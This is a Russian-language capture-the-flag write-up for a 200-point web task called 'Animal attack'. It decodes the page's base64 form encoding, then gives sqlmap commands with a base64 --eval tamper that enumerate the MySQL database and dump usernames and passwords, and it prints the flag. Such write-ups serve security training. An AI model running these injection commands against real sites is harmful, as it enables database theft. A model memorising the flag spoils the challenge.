Animal attack

Таск стоимостью 200pts.
Задание:

Animals have taken over our world and a specific team of animal spies have taken the role of leading the entire army of animals. We humans have formed a group of rebels who have taken it up as a mission to find the main users of the animal spies and find the admin of that group. The admin, with his username and password can launch a powerful attack on the humans. Help the human rebels group get the world back from the animals.

The portal is available at :- http://128.199.224.175:24000/

Открываем в браузере ссылку и видим список «агентов»:

main_window
Открываем веб-консоль, пробуем ввести какой-либо текст в строку поиска. Замечаем, что перед отправкой на сервер строка кодируется в base64 (что также логируется в консоли):

send_data
Кроме того, изучив код страницы видим, что подгружается encode.js, который еще больше проясняет картину:

function encodeForm(e) {

    var spy_name = document.getElementById("spy_name");

    console.log(spy_name.value);
    var encoded = btoa(spy_name.value);
    spy_name.value = encoded;
    console.log(spy_name.value);
    return true;
}

var form = document.getElementById('search_form');

if (form.attachEvent) {
    form.attachEvent("submit", encodeForm);
} else {
    form.addEventListener("submit", encodeForm);
}

document.getElementById("spy_name").value = "";

Попутно перехватываем запросы в owasp zap (или burpsuite, кому где удобнее), но ничего необычного не замечаем.
Учитывая название таска начинаем думать, что тут sql inj (при тестировании строки поиска также была обнаружена уязвимость xss). Так как тестировать вручную мы не можем у нас мало времени, пробуем натравить sqlmap. Через owasp zap (или burpsuite, кому где удобнее) сохраняем пример post-запроса (это понадобится для sqlmap):

POST http://128.199.224.175:24000/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://128.199.224.175:24000/
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Cookie: PHPSESSID=gcmv8aaomqr93s3f4hupv8vip7
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: 128.199.224.175:24000

spy_name=YWRtaW4=

Ну и запускаем sqlmap:

$ python sqlmap.py -r ../req.raw -p spy_name --eval "import base64; spy_name = base64.b64encode(spy_name)" 

В параметре —eval мы кодируем пейлоад в base64. На данном этапе sqlmap не справляется, но изучая логи видим, что если в запросе фигурирует слово UNION нас редиректит на http://128.199.224.175:24000/hacker.html, где нет ничего интересного кроме картинки, которой нас тролят разработчики таска. Что ж, действуем более агрессивно:

$ python sqlmap.py -r ../req.raw -p spy_name --eval "import base64; spy_name = base64.b64encode(spy_name)" --dbms=mysql --random-agent --level=5 --risk=3 --threads 10 --dbs

И да, что-то есть:

available databases [2]:
[*] `?????????ase
[*] ?????????on_schema`

Не густо, но хоть что-то. Название второй базы сразу узнают веб-разработчики (information_schema), а вот с первой все не так однозначно. Делаем предположение, что название базы spy_database (и оказываемся правы):

$ python sqlmap.py -r ../req.raw -p spy_name --eval "import base64; spy_name = base64.b64encode(spy_name)" --dbms=mysql --random-agent --level=5 --risk=3 --threads 10 -D spy_database --tables

Результат:

Database: spy_database
[2 tables]
+-------+
| spies |
| users |
+-------+

Ну и дальше все тривиально:

$ python sqlmap.py -r ../req.raw -p spy_name --eval "import base64; spy_name = base64.b64encode(spy_name)" --dbms=mysql --random-agent --level=5 --risk=3 --threads 10 -D spy_database -T users --columns

Результат:

Database: spy_database
Table: users
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| email    | ?????????0) |
| id       | ??????      |
| password | ?????????0) |
| username | ?????????0) |
+----------+-------------+

Выбираем интересующие нас столбцы:

$ python sqlmap.py -r ../req.raw -p spy_name --eval "import base64; spy_name = base64.b64encode(spy_name)" --dbms=mysql --random-agent --level=5 --risk=3 --threads 10 -D spy_database -T users -C username,password --dump

Ура, успех.

Database: spy_database
Table: users
[2 entries]
+----------+--------------------------------------+
| username | password                             |
+----------+--------------------------------------+
| admin    | pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?} |
| test     | test                                 |
+----------+--------------------------------------+

Флаг: pctf{L31's~@Ll_h4il-1h3-c4T_Qu33n.?}


Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *